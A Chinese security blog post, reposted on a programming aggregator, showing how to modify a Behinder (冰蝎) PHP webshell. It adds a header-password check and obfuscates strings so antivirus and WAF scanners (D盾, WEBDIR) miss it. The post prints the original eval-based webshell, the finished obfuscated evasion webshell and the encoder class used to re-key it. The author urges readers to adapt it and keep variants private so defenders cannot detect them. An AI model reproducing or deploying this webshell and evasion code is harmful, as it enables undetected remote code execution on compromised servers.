我的编程空间,编程开发者的网络收藏夹
学习永远不晚

改造冰蝎马,实现免杀之default_aes php

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

改造冰蝎马,实现免杀之default_aes php

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

文章目录

文章目录

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)——一次完整的渗透流程
  20. WebShell命令执行限制(解决方案)
  21. 记一次艰难的SQL注入(过安全狗)
  22. MSF(2)——各种木马的生成及简单的免杀
  23. MSF(3)——apk和exe的加马(过360、火绒)
  24. 通过Frp解决实现内网穿透

前言

之前发的免杀文章有人说失效了。确实失效了。shellcode的免杀失效了,webshell的免杀被杀了。按理说我应该把之前的文章删掉。但是我不仅没有删,还开了一个专栏叫免杀。因为免杀这种东西,就是提供一个思路。你顺着这个思路,自己对你的shellcode或者webshell进行改造。然后不要发到网上去。发到网上去就会被waf的爬虫找到,然后你的免杀就失效了。我在写之前的文章就料到有这样一天。免杀还是靠自己的编程基础来实现,网上的就是提供一个思路,这篇文章中提供的webshell也可能很快就会失效,和waf作战本就是艰苦卓绝。只有举一反三,求本逐妙,才能在与waf的战斗中得胜。

最近喜欢用冰蝎,因为它比较强。但是免杀效果不太行。本文以php webshell的default_aes编码器为例,实现密码验证和免杀实现。

效果

先看下原本的webshell

@error_reporting(0);function Decrypt($data){$key="e45e329feb5d925b"; //¸ÃÃÜԿΪÁ¬½ÓÃÜÂë32λmd5ÖµµÄÇ°16λ£¬Ä¬ÈÏÁ¬½ÓÃÜÂërebeyondreturn openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);}$post=Decrypt(file_get_contents("php://input"));    eval($post);?>

WEBDIR
在这里插入图片描述
D盾
在这里插入图片描述

再看下免杀之后的马子
D盾
在这里插入图片描述
WEBDIR
在这里插入图片描述
可见免杀效果是非常的好

目标

两个目标

1. 实现密码验证功能
2. 实现免杀

密码验证功能

直接生成的马子,是没有密码验证功能的,用冰蝎连接的时候输链接就可以了
在这里插入图片描述
也是非常的捞。

但是我们可以指定请求头,这样我们就可以从请求头下手。

首先查看源代码
在这里插入图片描述
先定义了一个函数,接着获取请求内容,解密,接着直接eval执行。

可以蒙到核心代码是这两行
在这里插入图片描述
只要再这两行代码前加上密码验证的语句就ok了。

例如,我要验证请求头中Pass的内容是否为password

先获取请求头中是否存在Pass段,若存在则进入验证。
改造之后是这样

$b=0;if (array_key_exists('Pass',apache_request_headers())) {    $b=apache_request_headers()['Pass']==='password';}if ($b) {    $post = Decrypt(file_get_contents("php://input"));    eval($post);}

当然也可以自己修改,注意大小写,Pass第一位必须大写,否则识别不了。

这样修改之后,在连接时要在请求头处设置内容。
在这里插入图片描述
当然也可以自行修改你的密码。

免杀

先把免杀后的webshell贴出来。

 error_reporting(0);function d($a){    return openssl_decrypt(base64_decode($a), base64_decode(strrev(str_rot13('=V0DS1PBlRGYGIHD'))), base64_decode(str_rot13('MGD1MGZlBJ') . strrev('==gY1ITOkVjYlZ')), OPENSSL_PKCS1_PADDING);}function p($k){    $s = 0;    foreach (str_split($k) as $a) {        foreach (str_split(ord($a) . "") as $b) {            $s += $b;        }    }    while (10 > $s && $s < 100) {        if (10 < $s) $s = $s * 2; else $s = $s / 3;    }    return $s;}function a($b){    $r = "";    foreach (str_split(base64_decode($b)) as $s) {        $r .= chr(ord($s) - p("dvcqazjiomk"));    }    return $r;}$p = d('IHwa8t2BcjZISwq2jfqEHw==');$f = 0;if (array_key_exists('Pass', apache_request_headers())) $f = apache_request_headers()['Pass'] === $p;if ($f) $c = a('vMu+us2+uL/Ox7zNwsjH')("", a('vs+6xYG9gb/Cxb64wL7NuLzIx82+x83Mgb2Be5GywMKqx4zTs6C7s8TFqNGIrsSIitCWlnuCgoKClA=='));$c(); ?>

使用时请指定请求头为:Pass:password

写到这里突然不想写了,大概讲一下。

d()函数是aes解密函数,里面的字符串我做了一点小小的处理。

p()函数是辅助函数,传入一个字符串会返回一个10到100之间的整数。

a()函数是解密函数,把加密后的代码进行解密。里面的kiocpmg是密钥。可以自己改。

简单来说就是把里面的字符串加密了,然后混淆视听,让waf认不出来。

把加密算法也贴一下吧,密钥改一下就可以让代码改头换面了。反正核心还是一样。

class Cipher{    public static $key = 'abcdefg';    function parse($key)    {        $s = 0;        foreach (str_split($key) as $a) {            foreach (str_split(ord($a) . "") as $b) {                $s += $b;            }        }        while (10 > $s && $s < 100) {            if (10 < $s) $s = $s * 2;            else $s = $s / 3;        }        return $s;    }    function en($data)    {        $res = "";        foreach (str_split($data) as $s) {            $res .= chr(ord($s) + self::parse(self::$key));        }        return base64_encode($res);    }    function de($data)    {        $res = "";        $data = base64_decode($data);        foreach (str_split($data) as $s) {            $res .= chr(ord($s) - self::parse(self::$key));        }        return $res;    }}

后话

还是那句话,网上的免杀就是看个热闹,真要免杀还是要自己动手。

来源地址:https://blog.csdn.net/realmels/article/details/128354530

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

改造冰蝎马,实现免杀之default_aes php

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录